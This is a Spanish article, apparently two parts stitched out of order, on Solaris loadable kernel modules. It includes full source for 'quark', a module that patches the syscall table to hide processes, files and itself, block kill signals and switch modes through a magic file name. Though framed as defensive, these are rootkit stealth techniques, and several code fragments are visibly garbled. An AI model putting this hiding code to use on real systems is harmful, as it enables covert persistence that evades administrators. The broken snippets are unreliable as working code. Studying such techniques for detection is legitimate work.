Plasmoid utilizó en sus primeras aproximaciones a un método de ocultación eficiente una modificación doble: dado que el pseudo sistema de ficheros /proc contiene un fichero por cada proceso con la información del fichero que contiene el ejecutable que desencadenó la creación del proceso y demás información (/proc/<pid>/psinfo), modificando open() y read() para evitar mostrar información acerca de los procesos que queremos ocultar. Esto realmente funciona correctamente, pero supone una gran sobrecarga global para el sistema, ya que open() y read() se utilizan para muchas otras cosas y la comprobación se hace cada vez que se utilizan.

En un análisis más elaborado, el mismo autor diseñó otro enfoque para ocultar procesos: como /proc es un directorio a todos los efectos, comprobamos en getdents() si el fichero que hay que mostrar es un número y, de ser así, si corresponde al descriptor de proceso que queremos ocultar. Cuando esto se produzca, ocultamos el fichero que describe el proceso de la misma manera que ocultábamos los ficheros en la sección anterior.

Nosotros utilizamos este segundo enfoque para ocultar procesos cuando es necesario: al principio ningún proceso permanece oculto, pero cuando es preciso ocultar syslogd, nos aseguramos de que el fichero corresponde al descriptor del proceso de syslogd, y lo ocultamos como si se tratara de un fichero normal.

• Creación de un switch

Todas las funcionalidades de seguridad que aporta “quark” pueden habilitarse y deshabilitarse a voluntad. Utilizando la creación de un fichero con un nombre extraño (#define TOGGLE “quark_LKM”) podremos modificar el valor de la variable secureflag durante la ejecución del módulo. Para ello es preciso parchear la petición al sistema encargada de crear ficheros (creat64()). En ella comprobamos si el fichero que nos encargan crear contiene la cadena definida como biestable (TOGGLE) y si es así, variamos el valor de secureflag y generamos artificialmente un mensaje de error.

• Protección de syslogd

Nuestro módulo trata de proteger el demonio del sistema encargado de recoger los logs, impidiendo que un posible atacante detenga su ejecución, y ocultando su presencia cuando alguien lo intente. Necesitamos programar entonces dos mecanismos: uno para detectar un intento de “matar” el proceso relacionado con syslogd, y otro para ocultarlo después de ese intento. Es decir, es preciso parchear la syscall kill(), impidiendo su uso con syslogd y modificando la variable hidesyslogd (encargada de definir si debemos ocultar el proceso o no), y utilizar el método anteriormente explicado para ocultar procesos.

• Protección del sistema contra la carga de módulos

La protección que “quark” proporciona podría verse desbaratada si permitimos la carga de nuevos módulos que sobrescriban los parches que nuestro módulo efectúa en la tabla de peticiones al sistema. Es por esto que “quark”, por defecto, deshabilita la carga de nuevos módulos en cuanto es instalado, modificando la syscall modctl() que es la encargada de gestionar qué módulos de kernel se cargan.

Este hecho podría provocar que una vez instalado, nuestro módulo no pudiera desinstalarse, pero esta funcionalidad también está regida por el “switch” o biestable comentado anteriormente. Cuando queramos agregar un nuevo módulo, modificamos el valor de secureflag, lo cargamos y volvemos a habilitar la protección.

Código fuente

Este código está protegido bajo la Licencia Pública GNU (GPL), es decir, es software libre. Para obtener una copia actualizada de esta licencia, visite http://www.fsf.org.

#include <sys/systm.h>
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/dirent.h>
#include <sys/proc.h>
#include <sys/procfs.h>
#include <sys/kmem.h>
#include <sys/errno.h>
#include <sys/modctl.h>
#include <fcntl.h>
#include <unistd.h>

#define	TRUE		1
#define FALSE		0
#define MAXSYSCALLS	256
#define TOGGLE		"quark_LKM"
#define SYSLOGDNAME	"syslogd"
#define HIDEFILENAME	"hide.me"

extern struct mod_ops mod_miscops;

static struct modlmisc modlmisc =
{
    &mod_miscops,
#ifdef DEBUG
    "Quark LKM",
#else
    ""
#endif
};

static struct modlinkage modlinkage =
{
    MODREV_1,
    (void *) &modlmisc,
    NULL
};

extern struct sysent sysent[];
static struct sysent sysent_backup[MAXSYSCALLS];

int (*oldcreat64) (const char *path, mode_t mode);
int (*oldkill) (int, int);
int (*oldgetdents64) (int, struct dirent64 *, size_t);
int (*oldopen64) (const char *path, int oflag, mode_t mode);
int (*oldopen) (const char *path, int oflag, mode_t mode);
int (*oldchdir) (const char *path);

char toggle[] = TOGGLE;
char syslogdname[] = SYSLOGDNAME;
char hidefilename[] = HIDEFILENAME;
int secureflag = TRUE;
int hidesyslogd = FALSE;

/*
 * Functions to know if a process is a syslogger, in order to
 * hide it. Code ripped from Plasmoid's sift.c.
 */
int issyslogd(pid_t pid)
{
    proc_t *proc;
    char *psargs;
    int ret;

    proc = (proc_t *) prfind(pid);
    psargs = (char *) kmem_alloc(PSARGSZ, KM_SLEEP);
    if (proc != NULL)
	memcpy(psargs, PTOU(proc)->u_psargs, PSARGSZ);
    else
	return FALSE;

    if (strstr(psargs, (char *) &syslogdname) != NULL)
	ret = TRUE;
    else
	ret = FALSE;

    kmem_free(psargs, PSARGSZ);
    return ret;
}

int checkbyname(char *name)
{
    if (isdigit(name) && issyslogd(myatoi(name)))
	return TRUE;
    else
	return FALSE;
}

int isdigit(char *str)
{
    int i, ret;

    ret = TRUE;
    for (i = 0; ret && i < strlen(str); i++)
	if (str[i] < '0' || str[i] > '9')
	    ret = FALSE;

    return ret;
}

int myatoi(char *str)
{
    int res = 0;
    int mul = 1;
    char *ptr;
    for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
	if (*ptr < '0' || *ptr > '9')
	    return (-1);
	res += (*ptr - '0') * mul;
	mul *= 10;
    }
    return res;
}

int savesysent()
{
    int i;

    for(i = 0; i < MAXSYSCALLS; i++) {
        memcpy(&sysent_backup[i], &sysent[i], sizeof(struct sysent));
    }
}

int checksysent()
{
    int i, ret;

    ret = FALSE;

    for(i = 0; i < MAXSYSCALLS; i++) {
        if(sysent[i].sy_call != sysent_backup[i].sy_call) {
#ifdef DEBUG
	    cmn_err(CE_NOTE, "system call %d has been modified (old: %p new: %p)\n",
                    i, sysent_backup[i].sy_call, sysent[i].sy_call);
#endif
            ret = TRUE;
            sysent[i].sy_call = sysent_backup[i].sy_call;
        }
    }

    return ret;
}

/* NEW FUNCTIONS... */

/*
 * New syscall creat64 in order to set a security toggle
 */
int newcreat64(const char *path, mode_t mode)
{
    char namebuf[1028];
    int len;

    copyinstr(path, namebuf, 1028, (size_t *) & len);

    if (strstr(namebuf, (char *) &toggle) != NULL) {
	if (secureflag) {
#ifdef DEBUG
	    cmn_err(CE_NOTE, "quark: exiting from secure mode");
#endif
	    secureflag = FALSE;
	} else {
#ifdef DEBUG
	    cmn_err(CE_NOTE, "quark: entering into secure mode");
#endif
	    secureflag = TRUE;
	}
        if (checksysent()) {
	    set_errno(ESRCH);
	    return -1;
        }
	set_errno(ENFILE);
	return -1;
    } else
	return oldcreat64(path, mode);
}

/*
 * New syscall kill
 */
int newkill(int pid, int signal)
{
    if (secureflag && issyslogd(pid)) {
#ifdef DEBUG
        cmn_err(CE_NOTE, "quark: not allowing to kill process (%i)", pid);
        cmn_err(CE_NOTE, "quark: process %i hidden", pid);
#endif
        hidesyslogd = TRUE;
	set_errno(ESRCH);
        return -1;
    } else
        return oldkill(pid, signal);
}

/*
 * If the secureflag feature is enabled (see above), this syscall will avoid
 * entering directories that contain the syslogdname word in their name.
 * Security switch: see newcreat64() function.
 */
int newchdir(const char *path)
{
    char namebuf[1028];
    int len;

    copyinstr(path, namebuf, 1028, (size_t *) & len);

    if (secureflag && strstr(namebuf, (char *) &hidefilename) != NULL) {
#ifdef DEBUG
	cmn_err(CE_NOTE, "quark: hiding directory (%s)", namebuf);
#endif
	set_errno(ENOENT);
	return -1;
    } else
	return oldchdir(path);
}

/*
 * If the secureflag feature is enabled (see above), this syscall will avoid
 * reading the content of files containing the syslogdname word in their name.
 * Security switch: see newcreat64() function.
 */
int newopen64(const char *path, int oflag, mode_t mode)
{
    int ret;
    int len;
    char namebuf[1028];

    ret = oldopen64(path, oflag, mode);

    if (ret >= 0) {
	copyinstr(path, namebuf, 1028, (size_t *) & len);

	if (secureflag && strstr(namebuf, (char *) &hidefilename) != NULL) {
#ifdef DEBUG
	    cmn_err(CE_NOTE, "quark: hiding content of file (%s)", namebuf);
#endif
	    set_errno(ENOENT);
	    return -1;
	}
	return ret;
    }
}

int newopen(const char *path, int oflag, mode_t mode)
{
    int ret;
    int len;
    char namebuf[1028];

    ret = oldopen(path, oflag, mode);

    if (ret >= 0) {
	copyinstr(path, namebuf, 1028, (size_t *) & len);

	if (secureflag && strstr(namebuf, (char *) &hidefilename) != NULL) {
#ifdef DEBUG
	    cmn_err(CE_NOTE, "quark: hiding content of file (%s)", namebuf);
#endif
	    set_errno(ENOENT);
	    return -1;
	}
	return ret;
    }
}

/*
 * This function has been recoded from the original source of itf.c
 * by plaguez. It does not work properly with files containing the
 * syslogdname string more than once. Don`t play with it, files containing
 * more than one syslogdname string definitely cause crashes, this bug is
 * even present in the original code.
 * This might sound like a bug, but I don't care, I never came to
 * the situation renaming a file containing the syslogdname word more
 * than once.
 */
int newgetdents64(int fildes, struct dirent64 *buf, size_t nbyte)
{
    int ret, oldret, i, reclen;
    struct dirent64 *buf2, *buf3;

    oldret = (*oldgetdents64) (fildes, buf, nbyte);
    ret = oldret;

    if (ret > 0) {
	buf2 = (struct dirent64 *) kmem_alloc(ret, KM_SLEEP);
	copyin((char *) buf, (char *) buf2, ret);
	buf3 = buf2;

	i = ret;
	while (i > 0) {
	    reclen = buf3->d_reclen;
	    i -= reclen;

	    if ((strstr((char *) &(buf3->d_name), (char *) &syslogdname) != NULL)
                || checkbyname((char *) &(buf3->d_name))
               ) {
#ifdef DEBUG
		cmn_err(CE_NOTE, "quark: hiding file/process (%s)", buf3->d_name);
#endif
		if (i != 0)
/*
		    memmove(buf3, (char *) buf3 + buf3->d_reclen, i);
*/
		    buf3->d_off = 1024;
		else
		    buf3->d_off = 1024;
		ret -= reclen;

	    }
	    if (buf3->d_reclen < 1) {
		ret -= i;
		i = 0;
	    }
	    if (i != 0)
		buf3 = (struct dirent64 *) ((char *) buf3 + buf3->d_reclen);
	}
	copyout((char *) buf2, (char *) buf, ret);
	kmem_free(buf2, oldret);
    }
    return ret;
}

/* STANDARD LKM FUNCTIONS */

int _init(void)
{
    int i;

    if ((i = mod_install(&modlinkage)) != 0)
	cmn_err(CE_NOTE, "Could not install module\n");
#ifdef DEBUG
    else
	cmn_err(CE_NOTE, "quark: successfully installed");
#endif

    oldcreat64 = (void *) sysent[SYS_creat64].sy_callc;
    oldkill = (void *) sysent[SYS_kill].sy_callc;
    oldgetdents64 = (void *) sysent[SYS_getdents64].sy_callc;
    oldopen64 = (void *) sysent[SYS_open64].sy_callc;
    oldopen = (void *) sysent[SYS_open].sy_callc;
    oldchdir = (void *) sysent[SYS_chdir].sy_callc;

    sysent[SYS_creat64].sy_callc = (void *) newcreat64;
    sysent[SYS_kill].sy_callc = (void *) newkill;
    sysent[SYS_getdents64].sy_callc = (void *) newgetdents64;
    sysent[SYS_open64].sy_callc = (void *) newopen64;
    sysent[SYS_open].sy_callc = (void *) newopen;
    sysent[SYS_chdir].sy_callc = (void *) newchdir;

    savesysent();

    return i;
}

int _info(struct modinfo *modinfop)
{
    return (mod_info(&modlinkage, modinfop));
}

int _fini(void)
{
    int i;

    if ((i = mod_remove(&modlinkage)) != 0)
	cmn_err(CE_NOTE, "Could not remove module\n");
#ifdef DEBUG
    else
	cmn_err(CE_NOTE, "quark: successfully removed");
#endif

    sysent[SYS_creat64].sy_callc = (void *) oldcreat64;
    sysent[SYS_kill].sy_callc = (void *) oldkill;
    sysent[SYS_getdents64].sy_callc = (void *) oldgetdents64;
    sysent[SYS_open64].sy_callc = (void *) oldopen64;
    sysent[SYS_open].sy_callc = (void *) oldopen;
    sysent[SYS_chdir].sy_callc = (void *) oldchdir;

    return i;
}

Conclusiones

A lo largo de estos dos artículos hemos podido comprobar como Solaris tiene una arquitectura modular, en la que los módulos de kernel son parte fundamental de la potencia y flexibilidad del sistema. Tantas son las posibilidades que este mecanismo proporciona que se ha convertido en los últimos tiempos en un nuevo campo de batalla en cuanto a la seguridad e integridad en sistemas.

Son muchos los esfuerzos tanto por parte de programadores de xploits, rootkits, y LKMs troyanizados, como por la de los coordinadores de proyectos de seguridad como StMichael, Papillon, etc. de explorar este nuevo espacio de acción. Atrás quedaron los días en los que conseguir una escalada de privilegios hasta ser root consistían los objetivos de los primeros, y guardar por que eso no se produzca el de los segundos. Nuestro módulo pretende ser una nueva aportación a este grupo de herramientas de protección.

Este texto puede entenderse como un acercamiento al kernel de Solaris, así como un manual de programación de nuevos LKMs que modifiquen el comportamiento del sistema en beneficio del administrador del mismo. Hemos pretendido ser claros y concisos, sin entrar en detalles que puedan confundir al lector y sin quedarnos en lo meramente superficial.

Por último nos gustaría agradecer la colaboración involuntaria de todos aquellos creadores de LKMs que han hecho esfuerzos por explicar sus progresos, facilitar documentación detallada y redactar artículos explicativos. Esperamos que este texto contribuya a esa lista de documentos que ayuden a otros a crear sus propios módulos.

Referencias

Cuando programé el LKM para Solaris me fijé en todo lo que había desarrollado sobre el tema hasta el momento, muchas de las referencias tienen varios años ya, seguro que cada uno de los autores ha ido renovando sus proyectos y documentaciones, pero aquí están las fuentes:

• Clemens, Jonathan. 9 de junio de 2001. “Knark: Linux Kernel Subversion”. Intrusion Detection FAQ. SANS Institute. http://www.sans.org/newlook/resources/IDFAQ/knark.htm
• Foundstone, Inc. 10 de junio de 2001. “Carbonite v1.0 – A Linux Kernel Module to aid in RootKit detection.” Foundstone, Inc. http://www.foundstone.com/rdlabs/proddesc/carbonite.html
• FuSyS. 19 de agosto de 2000. “KSTAT – Kernel Security Therapy Anti-Troll”. s0ftpr0ject2000. http://www.s0ftpj.org/tools/kstat.tgz
• Halflife. 1 de septiembre de 1997. “Bypassing Integrity Checking Systems”. Phrack Magazine Volume 7, Issue 51, article 09 of 17. http://www.phrack.org/phrack/51/P51-09
• Jensen, Runar. 9 de octubre de 1997″Malicious Linux modules”. Bugtraq. http://www.dataguard.no/bugtraq/1997_4/0059.html
• Jones, Andrew R. 12 de junio de 2001. “A Review of Loadable Kernel Modules”. SANS http://rr.sans.org/linux/kernel_mods.php
• Lawless, Timothy. 2 de noviembre de 2000. “Saint Jude, The Model”. Version 1.0. SourceForge. http://prdownloads.sourceforge.net/stjude/StJudeModel.pdf
• Lawless, Timothy. 21 de enero de 2002. StMichael_LKM-0.08.tar.gz. SourceForge. http://packetstormsecurity.nl/linux/security/StMichael_LKM-0.08.tar.gz
• McDougall, Richard & Mauro, Jim. 26 de junio de 2001. Solaris Internals Kernel Architecture & Implementation. Sun Microsystems, Inc.
• pIGpEN. 18 de abril del 2000. “LKM Detector”. s0ftpr0ject2000. http://www.s0ftpj.org/tools/sec_lkm.c
• Plasmoid/THC. 22 de diciembre de 1999. “Solaris Loadable Kernel Modules”. Version 1.0. Packet storm. [http://packetstorm.securify.com/groups/thc/slkm-1.0.html
• RedHat, Inc. 11 de junio de 2001. “Red Hat Linux General Security Advisory”. http://www.redhat.com/support/errata/RHSA-2000-108.html
• Reynolds, Patrick. 22 de junio de 2000. “Linux capability bounding set weakness”. Bugtraq. http://pweb.netcom.com/~spoon/lcap/bugtraq.txt
• Spoon. “LCAP”. 17 de septiembre de 2000. http://pweb.netcom.com/~spoon/lcap/

LKMs (Loadable Kernel Modules)

¿Qué es un LKM?

Un LKM o Loadable Kernel Module es una funcionalidad modular dentro del kernel del Sistema Operativo que puede ser cargada o descargada bajo demanda y permite una mejor utilización de la memoria destinada al kernel dentro de la memoria del sistema.

Como ya sabemos, el kernel de UNIX comenzó siendo un gran ejecutable indivisible, un kernel monolítico. En él estaban incluidas todas las funcionalidades del sistema. Para entornos con altos requerimientos en cuanto a velocidad de sus peticiones al sistema y poca variación de sus características (por ejemplo, sistemas embebidos) esta solución era la mejor, pero los sistemas de propósito general pronto notaron sus carencias. La memoria es un recurso muy preciado y muchas partes del kernel tenían que estar en memoria a pesar de su escaso uso (drivers para dispositivos poco usados, etc.). Resultaba obvio que era necesario modularizar el kernel para hacer un uso más eficiente de la memoria y permitir mayor flexibilidad.

El kernel se dividió en multitud de “piezas” y sólo las piezas que utilizamos en un momento concreto serán las que estén cargadas en memoria. Para ello necesitaremos un gestor de carga y descarga de módulos del kernel, como ya veremos más adelante

¿Para qué se utilizan?

Los LKMs se utilizan principalmente en dos campos:

• Drivers de dispositivos
• Seguridad (IDS, troyanos, etc.)

Tal y como hemos comentado con anterioridad, un sistema con muchos dispositivos diferentes necesita gestionar un gran número de drivers para acceder a ellos, el gasto de memoria sería muy elevado si todos ellos estuvieran dentro de un kernel monolítico. En lugar de esto, mediante LKMs se cargan solamente los que se están utilizando en un preciso momento, y son descargados cuando dejan de utilizarse. Construir un módulo para el manejo de un dispositivo es una tarea relativamente compleja, pero Solaris pretende ayudar a sus usuarios desarrolladores mediante la interfaz DDI/DKI (Device Driver Interface/Driver Kernel Interface).

Su implicación en el campo de la seguridad también es bastante clara: los LKMs son una puerta a la memoria del kernel, por lo que un uso malicioso de ellos podría provocar comportamientos no deseados del sistema. Sin el cuidado adecuado se podría introducir código arbitrario en el kernel, con las consecuencias que ello conllevaría. La diferencia entre la ejecución de código arbitrario como usuario y la introducción de éste en el kernel es abismal: el kernel del sistema actúa como guardián del mismo y decide qué cosas pueden hacerse o no. Si ejecutamos código arbitrario como usuario, aunque sea como superusuario (root), siempre estaremos supeditados a las restricciones propias del kernel, sin embargo, si modificamos el kernel podremos superar esas restricciones, y el único límite entonces estará en los aspectos físicos del sistema. Si permitimos que un atacante modifique el kernel, estaremos dando la posibilidad de fijar las reglas de juego, ocultarse a todos los efectos a todos los usuarios (“root” incluido, como ya hemos dicho) y elaborar un mecanismo para que no sea posible su expulsión del sistema.

¿Cómo se utilizan?

Para utilizar un LKM es necesario cargarlo dentro de la memoria del kernel. Esto no se realiza de forma convencional, existen comandos especiales para la carga y descarga de los módulos del kernel. La mayoría de las funcionalidades del kernel de Solaris también utilizan este método (TCP/IP, SCSI, UFS…), así como herramientas o dispositivos externos (ipf, pppd, drivers de tarjetas de red…), por lo que no debe extrañarnos que exista un procedimiento bien definido para ello.

El proceso de carga y descarga de los módulos lo gestionan dos comandos muy sencillos de utilizar, “/usr/sbin/modload” y “/usr/sbin/modunload”, respectivamente. Antes de cargar un módulo conviene informarnos acerca del resto de módulos cargados, sus características, tamaño y demás, por lo que haremos uso del comando “/usr/sbin/modinfo”. Todos estos comandos tienen sus páginas de manual (“man modinfo”, por ejemplo), por lo que no nos extenderemos en detallar su empleo.

Veamos un ejemplo del proceso:

bash-2.03# cc -g -D_KERNEL -DSVR4 -DSOL2 -O2 -c quark.c
bash-2.03# ld –o quark -r quark.o 

bash-2.03# modinfo
Id Loadaddr   Size Info Rev Module Name
 5 fe8ec000   389a   1   1  specfs (filesystem for specfs)
 7 fe8f0c16   2334   1   1  TS (time sharing sched class)
 8 fe8f2ada    886   -   1  TS_DPTBL (Time sharing dispatch table)
10 fe8f2b52    194   -   1  pci_autoconfig (PCI BIOS interface)
11 fe8f2c66  20d5c   2   1  ufs (filesystem for ufs)
12 fe911e4e    164   -   1  fssnap_if (File System Snapshot Interface) 

[...]

132 fea68de1    1bc  21   1  redirmod (redirection module)
133 fe9ffdfd    d58  22   1  bufmod (streams buffer mod)
134 e12ad000   9914  13   1  pcfs (filesystem for PC) 

bash-2.03# modload quark 

bash-2.03# modinfo
Id Loadaddr   Size Info Rev Module Name
 5 fe8ec000   389a   1   1  specfs (filesystem for specfs)
 7 fe8f0c16   2334   1   1  TS (time sharing sched class)
 8 fe8f2ada    886   -   1  TS_DPTBL (Time sharing dispatch table)
10 fe8f2b52    194   -   1  pci_autoconfig (PCI BIOS interface)
11 fe8f2c66  20d5c   2   1  ufs (filesystem for ufs) 

[...]

132 fea68de1    1bc  21   1  redirmod (redirection module)
133 fe9ffdfd    d58  22   1  bufmod (streams buffer mod)
134 e12ad000   9914  13   1  pcfs (filesystem for PC)
135 e106fe56    1bf   -   1  quark (Quark LKM)

Tal y como hemos visto, cada módulo dispone de un identificativo único (Id), con el que nos referiremos a él en el proceso de descarga, por lo que es importante recordarlo. modinfo, además, nos informa de la dirección de memoria a partir de la cual se ha cargado el módulo, su tamaño en bytes (la suma de sus secciones .text, .data y .bss), el número de información del driver (Info), el número de revisión del módulo y su nombre o descripción. El número de información del driver está en función del tipo de módulo que sea: si se trata de un driver de dispositivo “Info” contendrá un número informativo, pero si el módulo no es un driver, no incluirá este número. Este último tipo de módulos se conocen como misceláneos (“misc”) y es necesario declararlos como tales.

Funcionamiento de un LKM

Una vez cargado, un LKM reside en el área de memoria reservada para el kernel, y es capaz de acceder a las estructuras de datos creadas para la gestión de las llamadas al sistema. En función del uso que quiera darse a un módulo en concreto, éste deberá fijarse en unas u otras estructuras de datos e interrupciones, para poder dispensar el servicio deseado. Así pues, un módulo que haga funciones de driver de dispositivo, deberá estar atento a las peticiones de uso del mismo, a los flujos de datos entre las aplicaciones y el kernel, que es el único que maneja realmente el dispositivo, etc.

Un LKM orientado a la seguridad del sistema funcionará de forma similar, pero sus objetivos serán diferentes. Habrá que fijarse muy de cerca en la tabla de syscalls (como explicaremos posteriormente), los intentos de carga de otros módulos, las peticiones extrañas al sistema por parte de los usuarios, y todas los aspectos importantes en cuanto a registro del comportamiento normal del sistema.

Programación de un LKM

Estructura básica de un módulo de kernel

Los módulos de kernel necesitan disponer de unas estructuras básicas para poder ser cargados dentro del kernel. En Solaris esto es especialmente cierto y deberemos definir muchas variables y estructuras para poder programar un LKM sencillo. Otros Sistemas Operativos como Linux o FreeBSD no precisan una estructura básica tan compleja y pueden crearse módulos para ellos de forma muy sencilla.

Lo primero que deberemos incluir serán las cabeceras para utilizar el interfaz DDI de Solaris. Esto es necesario siempre, aunque no vayamos a desarrollar un driver de dispositivo. Otra cosa que deberemos incluir siempre en nuestros módulos será el conjunto de estructuras necesarias para que los comandos de carga, descarga e información sobre el módulo funcionen correctamente (struct como mod_ops, mod_miscops, modlmisc ó modlinkage).

Veamos un código de ejemplo de la estructuras básicas que han de existir en un LKM para Solaris:

#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/modctl.h>

extern struct mod_ops mod_miscops;

static struct modlmisc modlmisc = {
    &mod_miscops,
    "Nombre del LKM",
}; 

static struct modlinkage modlinkage = {
    MODREV_1,
    (void *)&modlmisc,
    NULL
};

Como podemos observar, hemos incluido las cabeceras necesarias y hemos definido las estructuras modlmisc y modlinkage para un módulo “misceláneo”, es decir, para un módulo que no va a servir como driver de dispositivo. Esto implica que no dispone de información sobre el número de información del driver (Info). En la estructura modlmisc definimos el nombre que el módulo devolverá al sistema cuando sea solicitado (“Nombre del LKM”).

Existe mucha ayuda en la documentación de Solaris acerca de estas estructuras, sus datos y su manejo (“man modldrv”, “man modlinkage”, “man modlstrmod”), pero considero que quedan fuera del ámbito de este texto y con saber la estructura básica de un LKM en Solaris nos basta.

Además de estas estructuras, todo módulo de kernel en Solaris debe incluir como mínimo tres funciones: _init(), _fini() e _info(). Su cometido es bastante obvio a la vista de sus nombres:

_init() inicializa el módulo y lo prepara para su carga. Esta función se llama antes de realizar cualquier otra cosa en un LKM.

int _init(void)
{
    int i;
    if  != 0)
        cmn_err(CE_NOTE,"No se pudo instalar el modulo quark\n");
    else
        cmn_err(CE_NOTE,"quark: instalación correcta");
    return i;
}

Dentro de _init() se llama a mod_install() que toma modlinkage como argumento e instala en función de esos valores el módulo en el sistema. _init() devuelve el valor de su llamada a mod_install(), es decir, informa si se ha cargado correctamente el módulo o no. Otro punto importante es el uso de la función cmn_err(), que mediante el parámetro CE_NOTE indica que los mensajes se introducirán en el log del sistema como una notificación.

_info() devuelve información acerca de un módulo. Siempre que llamemos a esta función, habrá que llamar a mod_info() que utilizará los datos almacenados en la estructura modinfo. Si modinfo tiene como valor del nombre de módulo un string vacío, mod_info()no devolverá nada ( y /usr/sbin/modinfo no mostrará el módulo en su lista).

int _info(struct modinfo *modinfop)
{
    return (mod_info(&modlinkage, modinfop));
}

_fini() prepara el módulo para su descarga. Cuando queremos descargar un módulo, llamamos a esta función. _fini()a su vez llamara a mod_remove() para proceder a la descarga del módulo. Es importante capturar el valor devuelto por esta función para comprobar si se han producido errores en la descarga.

int _fini(void)
{
    int i;
    if  != 0)
        cmn_err(CE_NOTE,"No se pudo desinstalar el modulo quark\n");
    else
        cmn_err(CE_NOTE,"quark: desinstalación correcta");
    return i;
}

En definitiva, utilizando las estructuras comentadas y las funciones _init(), _fini() e _info() podremos crear nuestros LKMs de forma sencilla, incluyendo lo que consideremos necesario tras _init(), y utilizando los mecanismos estándar de descarga.

Métodos de ocultación del LKM

Si vamos a emplear nuestros módulos para gestionar dispositivos externos no tiene ningún sentido ocultarlos. Es más, al contrario, es conveniente que estén visibles para que los usuarios sean capaces de saber qué módulos correspondientes a drivers de dispositivos están funcionando. Si nuestro objetivo es aumentar la seguridad del sistema, una práctica conveniente es ocultar el propio módulo de protección para no alertar a posibles intrusos y no centrar sus ataques en desactivar el módulo de seguridad. Es, por tanto, importante saber cómo ocultar nuestros módulos para mantener su propia seguridad y, por ende, la de todo el sistema.

Existen varias formas de ocultar un LKM de cara al usuario. La primera de ellas ya la hemos visto en el apartado anterior: si utilizamos una cadena vacía como descripción o nombre de nuestro módulo, modinfo no lo mostrará en su lista (a pesar de continuar cargado dentro del kernel). Además, modunload no devolverá un error si alguien pretende descargar un módulo que no estaba previamente cargado, por lo que no podrán detectar su presencia intentando descargar módulos que no salgan en la lista. Como primera aproximación esta medida puede valer, pero después de un análisis serio, cualquiera con dos dedos de frente podrá adivinar que nuestro módulo está ahí.

Si realmente queremos una protección seria para nuestro módulo que evite que sea listado y descargado de la memoria del kernel, deberemos parchear o suplantar el módulo ksyms que lista y maneja todos los símbolos del kernel en Solaris. Existe documentación al respecto y pruebas de concepto en Sistemas Operativos como Linux y FreeBSD acerca de esto (ver 7. Referencias).

La más reseñable de estas pruebas de concepto puede que sea el módulo itf.c, programado por Plaguez y publicado en la Phrack número 52. Una vez instalado dentro del kernel modificará la estructura mp que lo identifica como módulo y la tabla get_kernel_symbols, evitando de esta manera aparecer tanto en /proc/modules como en la salida de ksyms. Como efecto colateral, el módulo será imposible de descargar. Esto puede verse tanto como una funcionalidad como un defecto.

Captura y Suplantación de las llamadas al sistema

Lo más importante dentro de un módulo de monitorización del sistema es supervisar los eventos que en él se producen para comprobar si todo está dentro de la normalidad. Es necesario por tanto capturar las llamadas al sistema por parte de los diferentes usuarios y permitir realizar comprobaciones de esas llamadas suplantando los servicios originales del kernel.

Ya hemos tratado anteriormente el funcionamiento del kernel en Solaris en cuanto a las syscalls o peticiones al sistema. Todas esas llamadas se almacenan en un array denominado sysent en donde cada una de sus posiciones es una estructura que contiene información acerca de una syscall. Esto funciona de manera similar a otros Sistemas UNIX como Linux o la familia *BSD, si bien cada una de las estructuras para almacenar información acerca de una syscall es diferente en cada sistema.

Es necesario tener esto en cuenta a la hora de portar un LKM de Linux a Solaris, por ejemplo. Además, Solaris trabaja con arquitecturas de 32 y 64 bits mezcladas dentro del sistema, por lo que muchas de las syscalls más comunes (como open o create) tienen sus variedades de 32 y 64 bits. Para conocer cuál de ellas utiliza un determinado programa o comando podemos hacer uso del comando /usr/bin/truss. Así pues, por ejemplo, ps utiliza open() para abrir los ficheros que componen los procesos dentro de /proc, mientras que cat utiliza open64() para mostrar los contenidos de un fichero.

Existen diferentes maneras de suplantar las llamadas o peticiones al sistema de forma limpia y eficaz, pero lo primero que deberemos saber es cómo poder utilizar syscalls que no hayan sido definidas dentro de nuestros módulos. Plaguez da una solución en su artículo del e-zine Phrack: utilizar una macro para poder hacer uso de la programación mediante peticiones al sistema tradicional de la zona de usuario (en la siguiente sección discutiremos la diferencia entre zona de usuario y zona kernel):

/*we need brk systemcall*/
static inline _syscall1(int, brk, void *, end_data_segment);

Mediante este sistema podremos utilizar cualquier syscall de las que se piden normalmente desde la zona de usuario (fork, brk, open, read, write…), es decir, podremos construir la macro exacta para una función concreta de la zona de usuario (nótese que no toda función de la zona de usuario es una petición al sistema, pero sí un compendio de ellas).

Aunque esto pueda parecer un truco, realmente es lo que se utiliza en muchos sistemas para usar syscalls dentro del kernel. Sirva como muestra el siguiente código extraído del código fuente de Linux (/asm/unistd.h):

#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
asm volatile ("int $0x80" \
	: "=a" (__res) \
	: "0" (__NR_##name),"b" ); \
if (__res >= 0) \
	return (type) __res; \
errno = -__res; \
return -1; \
}

NOTA: Las “\”s indican que todo debería estar en una única línea, no son parte del código.

A pesar de lo complejo que pueda parecer este código, tiene una sencilla explicación: simplemente llama a la interrupción 80h (la utilizada en Linux para hacer una petición al sistema) con los argumentos pasados como parámetros: type se utiliza para hacer un cast del valor devuelto, name para llamar a la syscall que corresponda (__NR_name, definidas todas en /asm/unistd.h) y arg1 es el parámetro pasado a la syscall.

Si bien éste es el método utilizado por los programadores del kernel de Linux, existe otra manera un poco más clara de realizar esto y será la que empleemos en nuestros módulos de aquí en adelante. El proceso consiste en definir un prototipo de función que se ajuste a la llamada a la syscall, y luego tomar de la tabla sys_ent el valor para la función definida en el prototipo, por ejemplo:

int (*open)(char *, int, int);    /* declarar el prototipo */
open = sys_call_table[__NR_open]; /* tomar su valor de sysent */

Pragmatic de THC y SVAT usan este método y ha sido probado muchas veces con éxito. En líneas generales, cuando queramos suplantar una llamada o petición al sistema deberemos seguir los siguientes pasos:

1. Encontrar y estudiar la llamada o petición al sistema que queramos suplantar (conviene fijarse bien en los ficheros de cabecera .h).
2. Definir un prototipo de función similar a la syscall que queramos utilizar.
3. Encontrar la syscall original en la tabla de syscalls (sysent[]) y definir con su valor el prototipo previamente creado.
4. Crear una nueva función que suplante a la syscall original (normalmente hará uso de la syscall suplantada, por lo que los pasos anteriores son muy útiles para no “machacar” la syscall original).
5. Definir la posición que corresponda dentro de la tabla de syscalls como un puntero a la nueva función que suplantará a la original.

